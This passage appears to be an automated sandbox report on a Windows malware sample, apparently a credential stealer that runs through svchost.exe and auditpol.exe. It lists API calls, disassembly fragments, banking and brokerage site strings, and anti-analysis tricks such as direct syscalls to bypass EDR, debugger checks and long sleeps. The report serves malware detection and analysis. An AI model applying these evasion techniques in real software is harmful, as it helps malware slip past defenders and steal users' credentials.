Source:	Binary string: auditpol.pdbGCTL source: svchost.exe, 00000002.00000003.1885855120.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp, LPXBsvFDomujkZ.exe, 00000004.00000002.2810699424.0000000000808000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: UPDATED Q-LOT24038.exe, 00000000.00000003.1579957579.0000000004310000.00000004.00001000.00020000.00000000.sdmp, UPDATED Q-LOT24038.exe, 00000000.00000003.1580965371.00000000046A0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1920257719.0000000003400000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1823486784.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1920257719.000000000359E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1825450692.0000000003200000.00000004.00000020.00020000.00000000.sdmp, auditpol.exe, 00000005.00000002.2814371427.0000000003AC0000.00000040.00001000.00020000.00000000.sdmp, auditpol.exe, 00000005.00000002.2814371427.0000000003C5E000.00000040.00001000.00020000.00000000.sdmp, auditpol.exe, 00000005.00000003.1920312701.0000000003765000.00000004.00000020.00020000.00000000.sdmp, auditpol.exe, 00000005.00000003.1922816740.0000000003915000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: UPDATED Q-LOT24038.exe, 00000000.00000003.1579957579.0000000004310000.00000004.00001000.00020000.00000000.sdmp, UPDATED Q-LOT24038.exe, 00000000.00000003.1580965371.00000000046A0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.1920257719.0000000003400000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1823486784.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1920257719.000000000359E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1825450692.0000000003200000.00000004.00000020.00020000.00000000.sdmp, auditpol.exe, auditpol.exe, 00000005.00000002.2814371427.0000000003AC0000.00000040.00001000.00020000.00000000.sdmp, auditpol.exe, 00000005.00000002.2814371427.0000000003C5E000.00000040.00001000.00020000.00000000.sdmp, auditpol.exe, 00000005.00000003.1920312701.0000000003765000.00000004.00000020.00020000.00000000.sdmp, auditpol.exe, 00000005.00000003.1922816740.0000000003915000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: auditpol.pdb source: svchost.exe, 00000002.00000003.1885855120.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp, LPXBsvFDomujkZ.exe, 00000004.00000002.2810699424.0000000000808000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,

0_2_0040EB70

Source: UPDATED Q-LOT24038.exe

Static PE information: real checksum: 0xa2135 should be: 0x14d46d

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_004171D1 push ecx; ret	0_2_004171E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004018EF push ebp; retf	2_2_004018F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040D0A7 pushad ; iretd	2_2_0040D0A9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004181A4 push cs; retf	2_2_004181AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00426AE3 push edi; retf	2_2_00426AEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00401A89 push esp; retf	2_2_00401A8B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402359 push ds; retf	2_2_0040235A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040B35B push ebx; retf	2_2_0040B360
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00403379 push cs; ret	2_2_0040337D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00414BB8 push esp; iretd	2_2_00414BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041855C push ds; ret	2_2_0041855D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040D6D4 push edx; ret	2_2_0040D6DF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004036A0 push eax; ret	2_2_004036A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00415FE3 push FFFFFFF7h; retf	2_2_00415FF6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034309AD push ecx; mov dword ptr [esp], ecx	2_2_034309B6
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Code function: 4_2_02E93288 push ebp; retf	4_2_02E93289
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Code function: 4_2_02E8AA83 pushad ; iretd	4_2_02E8AA85
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Code function: 4_2_02E9226F push esi; retf 58ACh	4_2_02E9231F
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Code function: 4_2_02E853ED push FFFFFFB1h; iretd	4_2_02E853FA
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Code function: 4_2_02E95B80 push cs; retf	4_2_02E95B86
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Code function: 4_2_02E938E8 push FFFFFFF7h; retf	4_2_02E939D2
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Code function: 4_2_02E8B0B0 push edx; ret	4_2_02E8B0BB
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Code function: 4_2_02E939FB push FFFFFFF7h; retf	4_2_02E939D2
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Code function: 4_2_02E939BF push FFFFFFF7h; retf	4_2_02E939D2
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Code function: 4_2_02E95F38 push ds; ret	4_2_02E95F39
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Code function: 4_2_02EA44BF push edi; retf	4_2_02EA44CA
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Code function: 4_2_02E85402 push FFFFFFB1h; iretd	4_2_02E853FA
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Code function: 4_2_02E92594 push esp; iretd	4_2_02E925BC
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Code function: 4_2_02E88D37 push ebx; retf	4_2_02E88D3C
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03AF09AD push ecx; mov dword ptr [esp], ecx	5_2_03AF09B6
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03122209 push ebp; retf	5_2_0312220A

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_004772DE IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_004772DE
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_004375B0

Source: C:\Windows\SysWOW64\auditpol.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_00444078

0_2_00444078

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	API/Special instruction interceptor: Address: 3F1328C
Source: C:\Windows\SysWOW64\auditpol.exe	API/Special instruction interceptor: Address: 7FFEFE52D324
Source: C:\Windows\SysWOW64\auditpol.exe	API/Special instruction interceptor: Address: 7FFEFE52D7E4
Source: C:\Windows\SysWOW64\auditpol.exe	API/Special instruction interceptor: Address: 7FFEFE52D944
Source: C:\Windows\SysWOW64\auditpol.exe	API/Special instruction interceptor: Address: 7FFEFE52D504
Source: C:\Windows\SysWOW64\auditpol.exe	API/Special instruction interceptor: Address: 7FFEFE52D544
Source: C:\Windows\SysWOW64\auditpol.exe	API/Special instruction interceptor: Address: 7FFEFE52D1E4
Source: C:\Windows\SysWOW64\auditpol.exe	API/Special instruction interceptor: Address: 7FFEFE530154
Source: C:\Windows\SysWOW64\auditpol.exe	API/Special instruction interceptor: Address: 7FFEFE52DA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_0347096E rdtsc

2_2_0347096E

Source: C:\Windows\SysWOW64\auditpol.exe

Window / User API: threadDelayed 9732

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	API coverage: 3.1 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\auditpol.exe	API coverage: 2.7 %

Source: C:\Windows\SysWOW64\auditpol.exe TID: 4768	Thread sleep count: 239 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe TID: 4768	Thread sleep time: -478000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe TID: 4768	Thread sleep count: 9732 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe TID: 4768	Thread sleep time: -19464000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe TID: 5060	Thread sleep time: -35000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\auditpol.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\auditpol.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00452126
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,	0_2_0045C999
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00436ADE
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00434BEE
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_0045DD7C FindFirstFileW,FindClose,	0_2_0045DD7C
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	0_2_0044BD29
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,	0_2_00436D2D
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00442E1F
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00475FE5
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0044BF8D
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_0312C2D0 FindFirstFileW,FindNextFileW,FindClose,	5_2_0312C2D0

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_0040E470

Source: 23X395L.5.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696503903~
Source: auditpol.exe, 00000005.00000002.2818717764.00000000083D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: nteractive Brokers - HKVMware20,11696503903]
Source: 23X395L.5.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696503903
Source: 23X395L.5.dr	Binary or memory string: tasks.office.comVMware20,11696503903o
Source: auditpol.exe, 00000005.00000002.2818717764.00000000083D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: rokers - COM.HKVMware20,11696503903
Source: 23X395L.5.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696503903z
Source: 23X395L.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903^
Source: 23X395L.5.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696503903}
Source: 23X395L.5.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696503903x
Source: 23X395L.5.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696503903h
Source: 23X395L.5.dr	Binary or memory string: bankofamerica.comVMware20,11696503903x
Source: 23X395L.5.dr	Binary or memory string: global block list test formVMware20,11696503903
Source: 23X395L.5.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696503903]
Source: 23X395L.5.dr	Binary or memory string: ms.portal.azure.comVMware20,11696503903
Source: 23X395L.5.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696503903\|UE
Source: 23X395L.5.dr	Binary or memory string: interactivebrokers.comVMware20,11696503903
Source: 23X395L.5.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696503903u
Source: 23X395L.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903
Source: 23X395L.5.dr	Binary or memory string: AMC password management pageVMware20,11696503903
Source: 23X395L.5.dr	Binary or memory string: turbotax.intuit.comVMware20,11696503903t
Source: UPDATED Q-LOT24038.exe, 00000000.00000002.1582761296.00000000009CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c18-806e6f6e6963}#0000000007500000#{f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_C22
Source: 23X395L.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696503903}
Source: auditpol.exe, 00000005.00000002.2807847157.0000000003421000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: LPXBsvFDomujkZ.exe, 00000008.00000002.2811464247.000000000135F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllc
Source: firefox.exe, 0000000A.00000002.2225054667.000001DBE5ADC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll]]
Source: auditpol.exe, 00000005.00000002.2818717764.00000000083D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696503903i
Source: 23X395L.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696503903x
Source: auditpol.exe, 00000005.00000002.2818717764.00000000083D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,1
Source: 23X395L.5.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696503903
Source: 23X395L.5.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696503903
Source: 23X395L.5.dr	Binary or memory string: outlook.office365.comVMware20,11696503903t
Source: 23X395L.5.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696503903p
Source: 23X395L.5.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696503903n
Source: 23X395L.5.dr	Binary or memory string: outlook.office.comVMware20,11696503903s
Source: 23X395L.5.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696503903
Source: auditpol.exe, 00000005.00000002.2818717764.00000000083D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,116e
Source: 23X395L.5.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696503903d
Source: 23X395L.5.dr	Binary or memory string: dev.azure.comVMware20,11696503903j
Source: 23X395L.5.dr	Binary or memory string: discord.comVMware20,11696503903f
Source: auditpol.exe, 00000005.00000002.2818717764.00000000083D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: rokers - EU WestVMware20,11696503903n
Source: 23X395L.5.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696503903

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_0347096E rdtsc

2_2_0347096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_00417883 LdrLoadDll,

2_2_00417883

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_0045A259 BlockInput,

0_2_0045A259

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,

0_2_0040D6D0

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,

0_2_0040EB70

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_03F13558 mov eax, dword ptr fs:[00000030h]	0_2_03F13558
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_03F134F8 mov eax, dword ptr fs:[00000030h]	0_2_03F134F8
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_03F11EB8 mov eax, dword ptr fs:[00000030h]	0_2_03F11EB8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B035C mov eax, dword ptr fs:[00000030h]	2_2_034B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B035C mov eax, dword ptr fs:[00000030h]	2_2_034B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B035C mov eax, dword ptr fs:[00000030h]	2_2_034B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B035C mov ecx, dword ptr fs:[00000030h]	2_2_034B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B035C mov eax, dword ptr fs:[00000030h]	2_2_034B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B035C mov eax, dword ptr fs:[00000030h]	2_2_034B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FA352 mov eax, dword ptr fs:[00000030h]	2_2_034FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D8350 mov ecx, dword ptr fs:[00000030h]	2_2_034D8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D437C mov eax, dword ptr fs:[00000030h]	2_2_034D437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A30B mov eax, dword ptr fs:[00000030h]	2_2_0346A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A30B mov eax, dword ptr fs:[00000030h]	2_2_0346A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A30B mov eax, dword ptr fs:[00000030h]	2_2_0346A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342C310 mov ecx, dword ptr fs:[00000030h]	2_2_0342C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03450310 mov ecx, dword ptr fs:[00000030h]	2_2_03450310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034EC3CD mov eax, dword ptr fs:[00000030h]	2_2_034EC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0343A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0343A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0343A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0343A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0343A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0343A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034383C0 mov eax, dword ptr fs:[00000030h]	2_2_034383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034383C0 mov eax, dword ptr fs:[00000030h]	2_2_034383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034383C0 mov eax, dword ptr fs:[00000030h]	2_2_034383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034383C0 mov eax, dword ptr fs:[00000030h]	2_2_034383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B63C0 mov eax, dword ptr fs:[00000030h]	2_2_034B63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE3DB mov eax, dword ptr fs:[00000030h]	2_2_034DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE3DB mov eax, dword ptr fs:[00000030h]	2_2_034DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE3DB mov ecx, dword ptr fs:[00000030h]	2_2_034DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE3DB mov eax, dword ptr fs:[00000030h]	2_2_034DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D43D4 mov eax, dword ptr fs:[00000030h]	2_2_034D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D43D4 mov eax, dword ptr fs:[00000030h]	2_2_034D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]	2_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]	2_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]	2_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]	2_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]	2_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]	2_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]	2_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]	2_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0344E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0344E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0344E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034663FF mov eax, dword ptr fs:[00000030h]	2_2_034663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342E388 mov eax, dword ptr fs:[00000030h]	2_2_0342E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342E388 mov eax, dword ptr fs:[00000030h]	2_2_0342E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342E388 mov eax, dword ptr fs:[00000030h]	2_2_0342E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345438F mov eax, dword ptr fs:[00000030h]	2_2_0345438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345438F mov eax, dword ptr fs:[00000030h]	2_2_0345438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03428397 mov eax, dword ptr fs:[00000030h]	2_2_03428397
